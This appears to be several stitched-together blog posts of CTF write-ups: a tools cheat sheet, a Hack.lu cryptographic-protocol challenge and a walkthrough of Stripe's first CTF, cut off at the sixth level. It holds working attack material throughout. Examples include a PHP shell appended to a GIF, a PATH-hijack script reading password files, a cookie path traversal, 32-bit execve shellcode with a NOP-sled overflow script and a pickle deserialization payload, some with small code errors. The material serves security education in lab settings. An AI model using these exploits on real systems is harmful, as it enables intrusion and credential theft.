In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py).
### Scapy
[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too.
### Steganography
One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption.
To run the tool (after downloading it) just do:
```sh
java -jar paranoia.jar
```
[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/
### HTTP/HTTPS Request Tampering
Very useful for the RFI problems (but not limited to them):
* [Tamper Data]: view and modify HTTP/HTTPS headers.
* [Burp]: a Java application to secure or penetrate web applications.
[Burp]: http://portswigger.net/burp/
[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
### Wireshark
At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were:
* Look for POST requests:
```
http.request.method == "POST"
```
* Submit the found data (same username, nonce, and password) with the command:
```
$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST
```
### [Exif] data extractor:
[ExifTool] is used for reading, writing, and manipulating image metadata:
```sh
$ tar -xf Image-ExifTool-9.74.tar.gz
$ cd Image-ExifTool-9.74/
$ perl Makefile.PL
$ make test
$ sudo make install
$ exiftool IMAGEFILE
```
### MD5 Lookups
Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this].
[hash-killer]: http://hash-killer.com/
[md5this]: http://www.md5this.com/
### In the Shell
* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex):
```sh
$ python -c 'print "2f722f6e6574736563".decode("hex")'
/r/netsec
```
or command line [xxd]:
```sh
$ yum install vim-common
$ xxd -r -p <<< 2f722f6e6574736563
/r/netsec
```
* **Base64 decoders** are also essential:
```sh
$ base64 --decode <<< BASE64STRING > OUTPUT
```
* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library:
```python
print "[*] Scanning for open ports using nmap"
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
```
* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example:
```sh
$ ls | tee file
```
* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting).
* **nm** is useful for listing symbols from object files
* **md5 hashing** is used all the time:
```sh
$ echo -n password | md5sum
5f4dcc3b5aa765d61d8327deb882cf99
```
* You might want to **append a shell code to an image** (for example, a GIF file):
```sh
$ cat PHP-shell.php >> fig.gif
```
* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line:
```sh
netsh firewall set opmode mode=DISABLE.
```
[tcpdump]: http://linux.die.net/man/8/tcpdump
[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html
[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format
[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100
[xxd]: http://linuxcommand.org/man_pages/xxd1.html
[Natas post]: http://bt3gl.github.io/exploiting-the-web-in-20-lessons-natas.html

View File

@ -0,0 +1,257 @@
# The Peace Pipe at Hack.lu's Final CTF 2014
## Understanding the Problem
The problem starts with this weird story:
After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today.
To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy.
You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking.
You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight.
Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down.
Maybe you can exploit their dizzyness to find out the location of the tipi.
Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**:
wildwildweb.fluxfingers.net 1432
With the second, we talk to **Wankoowah**:
wildwildweb.fluxfingers.net 1433
Finally, with the third, we talk to **Makawee**:
wildwildweb.fluxfingers.net 1434
It was obvious that this game was about fooling our fellow *stoned* native-Americans.
### A Dialogue with Chapawee
When we *netcat* to **Chapawee** he answers:
```sh
$ nc wildwildweb.fluxfingers.net 1432
Hi I'm Chapawee. I know the truth about the stars
Say stars for more
```
We answer *stars* and get a funny menu:
```sh
I can tell you the truth about
* constellation
* namestar [starname] [key_of_truth] Adds a public key to a user.
Existing users cannot be
overwritten. Input is
[a-f0-9]{1,700}.
* showstar [starname] Reads the public key from the
database.
```
The first option *constellation*, shows a very interesting scheme:
![cyber](http://i.imgur.com/OzVjrVh.png)
Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before).
So, from the above scheme, we know:
1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved).
2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048).
3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation:
![cyber](http://i.imgur.com/TwxShK9.jpg)
Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation).
In conclusion, all we need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag.
### A Dialogue with Wankoowah
Now, let's see what Wankoowah has to say:
```sh
$ nc wildwildweb.fluxfingers.net 1433
Hi, I'm Wahkoowah. Who are you? Too foggy...
```
We try a couple of possibilities to check the outputs:
```sh
$ nc wildwildweb.fluxfingers.net 1433
Hi, I'm Wahkoowah. Who are you? Too foggy...
noone
Hi noone
Cannot find it...
Ncat: Broken pipe.
$ nc wildwildweb.fluxfingers.net 1433
Hi, I'm Wahkoowah. Who are you? Too foggy...
makawee
Oh its you, Im so sorry. Can we talk now?
This is your key of truth
50e7e1957c1786a9442f0c9f372ec19f74f52839e9e38849b47438153f9d2483213a43ad2d988fab4a8707922060aaefe6504a70637596fbcf9d58362b23e5d5e2177fd4e919b80437bab51eda931e065b6d66fce343d7cb2b7c1ca26214792d461895095ae58354af0dec6e63869007e23835892f26aabc96fe3d9084a829b4d6c5b92c6f3e0dd9a70cbd5c72d6434f2b94d21c3b0c58a288c140642b813ffb1b632bc358b3a6af0124902acd8792202c848de7f9d5d98bee51ca69040c8a2457ad3fa6276d6510701b9a875df612e035322cad06579a0a11f5e7cb4ebb7b69171c38585fc0f4fe07b0c889442397029d05dc801026a0648d7aa8c847420e9c
With magic I did this:
922a7f4b150eb83eab929e2a44bcbbb45435851262a6e7b84d2777d995ffbc315a2e57a580f4982797b45efde6d30b493880ecea33fe26e6c8ff636b75b7cb3f647f0c6f606249bc48ef09bd20738cf472bf47c7f52b9e11afcefc1548155637b0d2054d37cd74301e534208408074938ae4e7b54ef50fa0a39cb090dd34de7a4040024ba2394bac62262ccda529d2d69effe24338f0ec1b842539d2b89b081fa77a266a7c9f62c25d2a1ee1af3da8054d79d87ae88da61b8333e1fc195d2957341458700a3be70c98e1a8ab35bfe527ff6a2f255c66d753d03c59404993f1ed295a722bf1d0241eec9c01efe06e3cd5b845e84de3d29de17f9b68351bdc2d65
We continue our conversation, right?
```
The *magic* is the message *t_w*, created with Makawee's public key. Wahkoowah then ask for *t_m*...
### A Dialogue with Makawee
Let's see what Makawee has to say:
```sh
$ nc wildwildweb.fluxfingers.net 1434
Hi, I'm, Makawee, and you are? Too bright here...
noone
noone ... do I know you?
Cannot find it...
Ncat: Broken pipe.
$ nc wildwildweb.fluxfingers.net 1434
Hi, I'm, Makawee, and you are? Too bright here...
wahkoowah
I dont talk to you anymore. That thing with my daughter...
Ncat: Broken pipe.
```
Mmmm, we need to make Makawee use Wankoowah's key without him knowing it!
Since Chapawee allows us to add keys to names, let's create some name with Wahkoowah's key (say "mrwhite") and send this to Makawee:
```sh
$ nc wildwildweb.fluxfingers.net 1432
Hi I'm Chapawee. I know the truth about the stars
Say stars for more
stars
I can tell you the truth about
* stars
* constellation
* namestar [starname] [key_of_truth] Adds a public key to a user.
Existing users cannot be
overwritten. Input is
[a-f0-9]{1,700}.
* showstar [starname] Reads the public key from the
database.
namestar mrwhite 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
Add the star to the sky...
Set the star for mrwhite: 218b783ec5676cbddd378ceb724820444599f22cdcfda0a5a195b3a8fbf4ab5c915703420ad3b84531c54b838b23858fb84fcaf04d4932d4b9ef861c7ae9b635c9d3f56dfb100aa47297afcd94df41efa9f5ecba6483c5328e43ec457027ee4efcecefa094a83945106d7da1878c1f47516c2f2578170eeb36955d8bd16e0d106f9e2effe9debff41e551db4ac2e87bc8a9378d8eadb042bee18f4ad72ab721833a27154a7318b8cbe6f98fb3c82da32d1688fdcdb718fb15d9d5e6276b037cef62d953c09b23ebe90d0b13f61cd1643e5e1b0a433d5e2522ec5a028817891b6df444e983e1e0ff2356044fea67c616dce6b4bd53b17ea8bc51ef816ab8f2d9e
```
Sending it to Makawee:
```sh
$ nc wildwildweb.fluxfingers.net 1434
Hi, I'm, Makawee, and you are? Too bright here...
mrwhite
mrwhite ... do I know you?
Disguise does not help
```
Oh no, the plan did not work! We can't send **exactly** Wahkoowah's key! We need to be even more tricky...
## Crafting a Solution
### Master in Disguising
Every key in this problem is given by *mudulus p*. This means that we have infinite values that map to the same original key. My first attempt was to multiply the original key by p, so that, when it receives the modulo operation, it circles once more returning to the original value.
It didn't work. The reason is that p is too large. When multiplied by the key (that is large itself) we loose precision and we don't go back to the original value. We need to keep the values in the same scale!
Let's take a look again at the way the messages are generated:
![cyber](http://i.imgur.com/Hz5uf7X.jpg)
We notice that the public key is exponentiated by r_m. It means that, if r_m is an even number, two values of the public key are mapped to the same value of the final message: +pubk and -pubk.
That's all we need! We are going to disguise Makawee by creating a *star* with the negative value of Wahkoowah's key.
### Automatizing the Process and getting the Flag!
All right, now we know how to make Wahkoowah and Makawee talk and how to get *t_m* and *t_w*. We are ready to generate the token that will lead us to the flag.
Notice again that since these messages are generated with random numbers, they will differ each time. However, we know from above that they carry unique information that leads to a common key (and the flag). I wrote the following script to automatize the process:
```python
import socket
PORTm = 1434
PORTw = 1433
HOST = 'wildwildweb.fluxfingers.net'
def peace_pipe():
""" Get the magic message from some user to calculate rm """
# create sockets
sm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to w
sw.connect((HOST, PORTw))
sw.recv(4096)
sw.send(b'makawee')
sw.recv(4096)
sec = sw.recv(4096)
tw = sec.split("did this:")[1].split("\n")[1].strip()
print "\nMagic from w to m: " + tw
# connect to m
sm.connect((HOST, PORTm))
sm.recv(4096)
sm.send(b'mrblack')
sm.recv(4096)
sec = sm.recv(4096)
tm = sec.split("did this:")[1].split("\n")[1].strip()
print "\nMagic from m to w: " + tm
# send w's magic to m's
sm.send(tw)
print sm.recv(4096)
# send m's magic to get the token
sw.send(tm)
token = sw.recv(4096)
token = token.split('\n')[1].strip()
print "Token is: " + token
# finally, send token back to m
sm.send(token)
print sm.recv(4096)
sm.close()
sw.close()
if __name__ == "__main__":
peace_pipe()
```
Running it leads us to the flag:
```sh
python 300_peace_pipe.py
Magic from w to m: 2f2f5d280871947836e9b5665986c1b75e732d88ae3d464b65d24ea7e41c33c491060379ac4f3dc4a7231f43d6a11b5bfd3a780d8ac46bd1a4cfd99ac041434cb82c5941f17e68a4f180101ece166a1b4da6ea32d62455bd7472892ed9b67fe2122e0b331048e4a11d98422f04ec3063a3652a0e1a90e13a740905bb3a22c9b5e39d1e0fa97f10bff34d76243b9211afd1131b0f6e33d4d99c8069c462677ce67401214c943fee13252060aa02b8b1525ed0af8c9aa5ad5dee64dbb0c275dd6147754c7dfaf3218caf35d7837925215a04bb315e91441306ef0d29f0da733b7e4ac92b500dc522de11c5f5af58248ed5f762b854f40f0adf4b681a937d17a1c0
Magic from m to w: e9eedf64931d5f77f5d061a0f411f9d385144f33fe1419905fdb24a0537cc205a7f99e083f37f98af8553795f1a71f83b7924620790845c3a48bb71a9b70a0f9e5ab95dda40ec4e229bc6a6cd146779de74b7237e42d01e2538c093407165afc79776bbd9bcdefa1d9af27a39f17610b4b9060c2b0ca5203457061facdc68257433253366937cef469261492ac81c177f42f10beea386ddfa09069a5fa2ae2e39a41eeecebdba622b79231cd5f206d0a70c71aa3eb5f706a16c99173f79f97e7f3408b544df556e3779f6d49441c04d33438b9604392f90bca6c2a8c3181b12ec5d492ef2184b9db69fdd1b6247150e3b55f8ee65d113c5350b4b097abadddc9
Bit more truth is missing
Token is: 5QAWhcwSaQicM8LitDGz6To69sBtsO8ASL27zxql8hW8aziveW0B0epJz2PKIFo/K4A=
I knew you are able to see IT. Lets get drunk, I tell you where
flag{FreeBoozeForEverone-Party!}
```

View File

@ -0,0 +1,575 @@
# The First Stripe CTF
This post is about the first [Stripe](https://stripe.com/) CTF, which [happened at the beginning of 2012](https://stripe.com/blog/capture-the-flag-wrap-up). I was able to fully reproduce the game by using a [Live CD Image](http://www.janosgyerik.com/hacking-contest-on-a-live-cd/). Other options were [direct download and BitTorrent](https://stripe.com/blog/capture-the-flag-wrap-up).
This CTF was composed of 6 levels, and its style was very similar to other Wargames I've talked about before in this blog (for instance, check [OverTheWire's](http://overthewire.org/wargames/) [Natas](http://bt3gl.github.io/exploiting-the-web-in-20-lessons-natas.html), [Narnia](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html), and [Krypton](http://bt3gl.github.io/cryptography-war-beating-krypton.html)).
---
## Level 1: Environment Variables
When I booted the image, I got this first message:
![cyber](http://i.imgur.com/O9ixhUv.jpg)
In the *level01* folder I found:
* A [setuid](http://linux.die.net/man/2/setuid) binary (a binary with access rights that allow users to run executables with permissions of the owner or the group).
* The C source code of this binary:
![cyber](http://i.imgur.com/DgB55I8.jpg)
Checking the code closely we notice the following lines:
```
printf("Current time: ");
fflush(stdout);
system("date");
```
A vulnerability becomes quite obvious!
First, if you use ```printf``` to send a text without a trailing ```\n``` to **stdout** (the screen), there is no guarantee that any of the text will appear so [fflush](http://man7.org/linux/man-pages/man3/fflush.3.html) is used to write everything that is buffered to **stdout**.
Second, ```system``` executes [any shell command you pass to it](http://linux.die.net/man/3/system). In the case above, it will find a command through the [PATH environment variable](http://en.wikipedia.org/wiki/PATH_%28variable%29).
It's clear that if we manage to change the variable ```date``` to some controlled exploit (such as ```cat /home/level01/.password```) we get the program to print the password.
Third, ```system``` outputs the date using a **relative path** for the **PATH**. We just need to change that to the directory where we keep our exploit (*e.g.*, ```pwd```) to have the system *forget* about the original date function.
The final script that leads to the next level's password looks like this:
```
#!/bin/sh
cd /tmp
echo '/bin/cat /home/level01/.password > date'
chmod +x date
export PATH=`pwd`:$PATH
/levels/level01/level01
```
---
## Level 2: Client's Cookies
This level is about finding a vulnerability in a PHP script that greets the user with her/his saved data.
The program implements this functionality by setting a cookie that saves the user's username and age. In future visits to the page, the program is then able to print *Youre NAME, and your age is AGE*.
Inspecting closely the code we see that the client's cookie is read without sanitizing its content:
```
<?php
$out = '';
if (!isset($_COOKIE['user_details'])) {
setcookie('user_details', $filename);
}
else {
$out = file_get_contents('/tmp/level02/'.$_COOKIE['user_details']);
}
?>
```
And then the results of this read is printed:
```
<html>
<p><?php echo $out ?></p>
</html>
```
An obvious way to exploit this vulnerability is by building our own [request](http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html) that makes the program read the password at */home/level02/.password*.
The cookie is set in the client side so we have lots of freedom to exploit it. For instance, we could use [Burp Suite](http://portswigger.net/burp/) to intercept the request and add the crafted cookie header. We could also use [Chrome Webinspector](https://chrome.google.com/webstore/detail/web-inspector/enibedkmbpadhfofcgjcphipflcbpelf?hl=en) to copy the [Authorization header](http://en.wikipedia.org/wiki/Basic_access_authentication) for the same purpose. The Cookie header would look like:
```
Cookie: user_details=../../home/level02/.password
```
Interestingly, it is also possible to solve this problem with just one instruction in the command line:
```
$ curl --user level01:$(cat /home/level01/.password) --digest -b "user_details=../../home/level02/.password" localhost:8002/level02.php
```
Where the flag **--digest** enables HTTP authentication, and the flags **-b** or **--cookie** let us determine the cookie to be sent.
Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above.
---
## Level 3: Failure in Input Validation
The third level comes with another **setuid** binary with the purpose of modifying a string:
```
$ /levels/level03
Usage: ./level03 INDEX STRING
Possible indices:
[0] to_upper [1] to_lower
[2] capitalize [3] length
```
The C code is also given:
```
#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
{(...)}
int to_lower(const char *str)
{(...)}
int capitalize(const char *str)
{(...)}
int length(const char *str)
{(...)}
int run(const char *str)
{
// This function is now deprecated.
return system(str);
}
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
int main(int argc, char **argv)
{
int index;
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
if (argc != 3) {
printf("Usage: ./level03 INDEX STRING\n");
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
printf("[2] capitalize\t[3] length\n");
exit(-1);
}
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
printf("Invalid index.\n");
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
printf("[2] capitalize\t[3] length\n");
exit(-1);
}
return truncate_and_call(fns, index, argv[2]);
}
```
In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C.
A vulnerability is found in the failure of checking for negative inputs:
```
#define NUM_FNS 4
(...)
// Parse supplied index
index = atoi(argv[1]);
if (index >= NUM_FNS) {
(...)
exit(-1);
}
```
Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed:
```
typedef int (*fn_ptr)(const char *);
(...)
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
(...)
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
char buf[64];
// Truncate supplied string
strncpy(buf, user_string, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = '\0';
return fns[index](buf);
}
```
The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function:
```
int run(const char *str)
{
return system(str);
}
```
### Description of the Exploit
To understand this problem we need to understand the [design of the stack frame](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows:
1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))).
2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)):
```
(gdb) p &buf
(char (*)[64]) 0xffbffa00
```
3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**:
```
(gdb) p (0xffbffa6c - 0xffbffa00)/4
27
```
So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer.
4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at:
```
(gdb) p &run
(int (*)(const char *)) 0x80484ac
```
5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call:
```
$ run('\xac\x84\x04\x08');
```
6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password:
```
$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
```
---
## Level 4: Classic Stack Overflow
Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code:
```
void fun(char *str)
{
char buf[1024];
strcpy(buf, str);
}
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: ./level04 STRING");
exit(-1);
}
fun(argv[1]);
printf("Oh no! That didn't work!\n");
return 0;
}
```
In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**.
The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed.
### Yet Another Shellcode Introduction
Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors.
Let's write the simplest shellcode we can think of, which simply spawns a shell:
```
#include <stdlib.h>
int main()
{
char *array[2];
array[0] = "/bin/sh";
array[1] = NULL;
execve(array[0], array, NULL);
exit(0);
}
```
With the following **Makefile** (I tend to write Makefiles for anything I compile in C):
```
shell: simplest_shellcode.c
gcc -static -g -o shell simplest_shellcode.c
```
Running **make** will give us our executable **shell**. Now, let's fire up **gdb**:
```
$ gdb shell
(gdb) disas main
Dump of assembler code for function main:
0x00000000004004d0 <+0>: push %rbp
0x00000000004004d1 <+1>: mov %rsp,%rbp
0x00000000004004d4 <+4>: sub $0x10,%rsp
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp)
0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax
0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx
0x00000000004004f0 <+32>: mov $0x0,%edx
0x00000000004004f5 <+37>: mov %rcx,%rsi
0x00000000004004f8 <+40>: mov %rax,%rdi
0x00000000004004fb <+43>: callq 0x40c540 <execve>
0x0000000000400500 <+48>: mov $0x0,%edi
0x0000000000400505 <+53>: callq 0x400e60 <exit>
End of assembler dump.
```
The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack:
```
0x00000000004004d0 <+0>: push %rbp
0x00000000004004d1 <+1>: mov %rsp,%rbp
```
Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding:
```
0x00000000004004d4 <+4>: sub $0x10,%rsp
```
We see this address **0x482be4** being moved to **%rsp**:
```
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
```
It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb:
```
(gdb) x/1s 0x482be4
0x482be4: "/bin/sh"
```
After that, **NULL** is pushed in:
```
0x00000000004004f0 <+32>: mov $0x0,%edx
```
Finally, **execve** is executed:
```
0x00000000004004fb <+43>: callq 0x40c540 <execve>
```
### Writing the Shellcode in Assembly
Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)).
With an **l** added to the words, the above shellcode in 32-bit machines is:
```
.text
.globl _start
_start:
xorl %eax, %eax /* make eax equal to 0*/
pushl %eax /* pushes null*/
pushl $0x68732f2f /* push //sh */
pushl $0x6e69622f /* push /bin */
movl %esp, %ebx /* store /bin/sh */
pushl %eax /* use null*/
pushl %ebx /* use /bin/sh*/
movl %esp, %ecx /* wrutes array */
xorl %edx, %edx /* xor to make edx equal to 0 */
movb $0xb, %al /* execve system call #11 */
int $0x80 /* make an interrupt */
```
To assemble and link this in a 32-bit machine, we do:
```
$ as -o shell.o shell.s
$ ld -m -o shell shell.o
```
In a 64-but machine, we do:
1. Add **.code32** in the top of the Assembly code.
2. Assemble with the **--32 flag**.
3. Link with the **-m elf_i386** flag.
Resulting in:
```
$ as --32 -o shell.o shell.s
$ ld -m elf_i386 -o shell shell.o
```
Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**:
```
$ objdump -d shell
shell: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 2f 2f 73 68 push $0x68732f2f
804805c: 68 2f 62 69 6e push $0x6e69622f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: 31 d2 xor %edx,%edx
8048069: b0 0b mov $0xb,%al
804806b: cd 80 int $0x80
```
Which in the little-endian representation is:
```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
```
### Solving the Problem
Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python:
```py
import struct, subprocess
STACK = 0x0804857b
NOP = \x90
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
stack_ptr = struct.pack("<I", STACK) * 500
array = "%s%s" % (EXPLOIT, stack_ptr)
while 1:
subprocess.call(["/levels/level04", array])
```
This solution is possible due to the [struct](https://docs.python.org/2/library/struct.html) module, which performs a conversion between Python and C values, and the [subprocess](https://docs.python.org/2/library/subprocess.html) module, which allows us to spawn new processes. The **struct.pack** method returns a string containing the values packet in the specified format (where **<** means little-endian and **I** is unsigned int).
A [one-line solution in Ruby](https://github.com/stripe-ctf), was given by Stripe and it's worth to mention:
```
$ ruby -e 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" + "\x90"*987 + "\x7b\x85\x04\x08"'
```
---
## Level 5: Unpickle exploit
The fifth level is a uppercasing **web service** written in Python, which is split into an HTTP part, and a worker queue part.
In this service, a request can be sent with:
```
$ curl localhost:9020 -d 'banana'
{
"processing_time": 5.0037501611238511e-06,
"queue_time": 0.4377421910476061,
"result": "BANANA"
}
```
After inspecting the code, we concentrate in the suspicious **deserialize** function that contains the unsafe module [pickle](https://docs.python.org/2/library/pickle.html):
```py
def deserialize(serialized):
logger.debug('Deserializing: %r' % serialized)
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
match = parser.match(serialized)
direction = match.group(1)
data = match.group(2)
job = pickle.loads(match.group(3))
return direction, data, job
```
This is used later in the **serialize** function:
```py
@staticmethod
def serialize(direction, data, job):
serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
logger.debug('Serialized to: %r' % serialized)
return serialized
```
So, the program serializes jobs with pickle and sends them to a series of workers to deserialize and process the job. Once again, the attack surface is in the user input, which is not properly sanitized: this function allows arbitrary data to be sent to **; job**.
We can exploit it by making the serialization code execute arbitrary commands by supplying a string such as **; job: <pickled>**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell.
An example of exploit in Python is the following:
```py
import pickle, os
HOST = 'localhost:9020'
os.system("/usr/bin/curl", ['', HOST, '-d', \
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
> /tmp/pass'\ntR."], {})
```
---
## Level 6: Timing Attack
And we have reached the sixth level!
The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password:
```
$ ./level06 /home/the-flag/.password banana
Welcome to the password checker!
$ Ha ha, your password is incorrect!
```
This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters).
But there is a twist!
